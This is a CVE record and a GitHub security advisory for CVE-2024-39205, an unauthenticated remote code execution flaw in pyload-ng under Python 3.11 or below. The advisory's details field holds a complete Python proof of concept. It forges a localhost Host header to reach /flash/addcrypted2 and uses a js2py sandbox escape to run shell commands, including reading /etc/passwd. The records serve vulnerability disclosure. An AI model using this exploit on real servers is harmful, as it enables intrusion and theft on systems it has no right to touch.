{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:pyload-ng_project:pyload-ng:-:*:*:*:*:python:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "pyload-ng",
            "vendor": "pyload-ng_project",
            "versions": [
              {
                "status": "affected",
                "version": "0.5.0b3.dev85"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-39205",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-30T20:48:52.381706Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "description": "CWE-noinfo Not enough information",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-30T20:56:49.427Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-28T19:38:05.419Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/pyload/pyload"
        },
        {
          "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r"
        },
        {
          "url": "https://github.com/Marven11/CVE-2024-39205-Pyload-RCE/tree/main"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2024-39205",
    "datePublished": "2024-10-28T00:00:00.000Z",
    "dateReserved": "2024-06-21T00:00:00.000Z",
    "dateUpdated": "2024-10-30T20:56:49.427Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev85"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-09T18:17:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nAny pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.\n\n### Details\njs2py has a vulnerability of sandbox escape assigned as [CVE-2024-28397](https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape), which is used by the `/flash/addcrypted2` API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.\n \n### PoC\n\nThe PoC is provided as `poc.py` below, you can modify the shell command it execute:\n\n```python\nimport socket\nimport base64\nfrom urllib.parse import quote\n\nhost, port = input(\"host: \"), int(input(\"port: \"))\n\npayload = \"\"\"\n// [+] command goes here:\nlet cmd = \"head -n 1 /etc/passwd; calc; gnome-calculator;\"\nlet hacked, bymarve, n11\nlet getattr, obj\n\nhacked = Object.getOwnPropertyNames({})\nbymarve = hacked.__getattribute__\nn11 = bymarve(\"__getattribute__\")\nobj = n11(\"__class__\").__base__\ngetattr = obj.__getattribute__\n\nfunction findpopen(o) {\n    let result;\n    for(let i in o.__subclasses__()) {\n        let item = o.__subclasses__()[i]\n        if(item.__module__ == \"subprocess\" \u0026\u0026 item.__name__ == \"Popen\") {\n            return item\n        }\n        if(item.__name__ != \"type\" \u0026\u0026 (result = findpopen(item))) {\n            return result\n        }\n    }\n}\n\nn11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()\nconsole.log(n11)\nfunction f() {\n    return n11\n}\n\n\"\"\"\n\ncrypted_b64 = base64.b64encode(b\"1234\").decode()\n\ndata = f\"package=pkg\u0026crypted={quote(crypted_b64)}\u0026jk={quote(payload)}\"\n\nrequest = f\"\"\"\\\nPOST /flash/addcrypted2 HTTP/1.1\nHost: 127.0.0.1:9666\nContent-Type: application/x-www-form-urlencoded\nContent-Length: {len(data)}\n\n{data}\n\"\"\".encode().replace(b\"\\n\", b\"\\r\\n\")\n\ndef main():\n\n    s = socket.socket()\n    s.connect((host, port))\n\n    s.send(request)\n    response = s.recv(1024).decode()\n    print(response)\n\nif __name__ == \"__main__\":\n    main()\n\n\n```\n\n### Impact\n\nAnyone who runs the latest version (\u003c=0.5.0b3.dev85) of  pyload-ng under python3.11 or below. pyload-ng doesn\u0027t use js2py for python3.12 or above.\n",
  "id": "GHSA-r9pp-r4xf-597r",
  "modified": "2024-10-28T21:52:37Z",
  "published": "2024-09-09T18:17:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-r9pp-r4xf-597r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39205"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-h95x-26f3-88hr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pyload-ng vulnerable to RCE with js2py sandbox escape"
}